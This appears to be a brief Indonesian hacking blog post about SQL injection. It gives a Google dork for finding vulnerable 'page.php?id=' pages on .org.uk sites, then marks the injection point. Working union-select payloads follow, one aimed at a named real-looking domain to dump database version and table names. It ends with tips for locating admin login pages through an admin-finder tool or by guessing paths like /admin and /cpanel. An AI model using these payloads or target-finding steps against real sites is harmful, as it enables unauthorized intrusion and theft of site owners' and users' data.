…click for enlarge…
:tidak:
Langsung to the point:
dork:page.php?id=
site:org.uk
===[ Exploit ]===
www.site.com/page.php?id=21&aid=12[SQL INJECTION]&s=3
===[ Example ]===
http://server/page.php?id=21&aid=-12′union+select+1,version(),3,4,5,6,7,8– -&s=3
sample
http://www.chect.org.uk/page.php?id=9&aid=-12%27+union+select+1,group_concat%28table_name%29,3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database%28%29–%20-&s=3
Share tools yang biasa buat cari login page
Atau bisa juga pakai ini: Admin finder
Atau bisa dengan cara manual /cpanel, /login, /admin,/administrator,/cp, dan seterusnya.